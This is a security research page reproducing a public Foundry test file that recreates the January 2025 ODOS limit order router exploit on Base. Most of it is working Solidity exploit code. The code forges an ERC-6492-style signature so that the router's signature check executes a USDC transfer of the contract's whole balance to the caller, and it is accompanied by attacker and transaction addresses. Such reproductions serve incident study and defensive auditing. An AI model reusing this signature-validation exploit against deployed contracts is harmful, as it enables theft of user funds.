Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/ODOS_exp.sol

Public reproduction file for dataset entry ODOS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/ODOS_exp.sol67 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~50k
8// Attacker : https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e
9// Attack Contract : https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc
10// Vulnerable Contract : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7
11// Attack Tx : https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/Phalcon_xyz/status/1882630151583981787
19// Hacking God :
21interface OdosLimitOrderRouter {
22 function isValidSigImpl(
23 address _signer,
24 bytes32 _hash,
25 bytes calldata _signature,
26 bool allowSideEffects
27 ) external returns (bool);
30contract ContractTest is Test {
31 OdosLimitOrderRouter odosLimitOrderRouterInstance =
32 OdosLimitOrderRouter(0xB6333E994Fd02a9255E794C177EfBDEB1FE779C7);
33 IUSDC USDCInstance = IUSDC(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
35 bytes32 ERC6492_DETECTION_SUFFIX = bytes32(hex"6492649264926492649264926492649264926492649264926492649264926492");
37 function setUp() public {
38 vm.createSelectFork("base", 25431001 - 1);
40 vm.label(address(odosLimitOrderRouterInstance), "OdosLimitOrderRouter");
41 vm.label(address(USDCInstance), "USDC");
42 }
44 function testExploit() public {
45 emit log_named_decimal_uint(
46 "[Start] Attacker USDC balance before exploit",
47 USDCInstance.balanceOf(address(this)),
48 6
49 );
51 uint256 victimUSDCBalance = USDCInstance.balanceOf(address(odosLimitOrderRouterInstance));
53 bytes memory customCalldata = abi.encodeCall(IUSDC.transfer, (address(this), victimUSDCBalance));
54 bytes memory signature = abi.encodePacked(
55 abi.encode(address(USDCInstance), customCalldata, bytes(hex"01")),
56 ERC6492_DETECTION_SUFFIX
57 );
59 odosLimitOrderRouterInstance.isValidSigImpl(address(0x04), bytes32(0x0), signature, true);
61 emit log_named_decimal_uint(
62 "[End] Attacker USDC balance before exploit",
63 USDCInstance.balanceOf(address(this)),
64 6
65 );
66 }

Analysis

Dataset entry

Public Foundry test for “ODOS” (2025-01-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4015d786e33c1842c3e4d27792098e4a3612fc0e

  • Attack Contract

    0x22a7da241a39f189a8aec269a6f11a238b6086fc

  • Vulnerable Contract

    0xb6333e994fd02a9255e794c177efbdeb1fe779c7

  • Attack Tx

    0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6

File record

Name
ODOS
Path
src/test/2025-01/ODOS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ee250bd25a200c72275d39cdeeccaa9ab3069e9d
Language
Solidity
Size
68 lines
Date
2025-01-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/ODOS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ee250bd25a200c72275d39cdeeccaa9ab3069e9d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.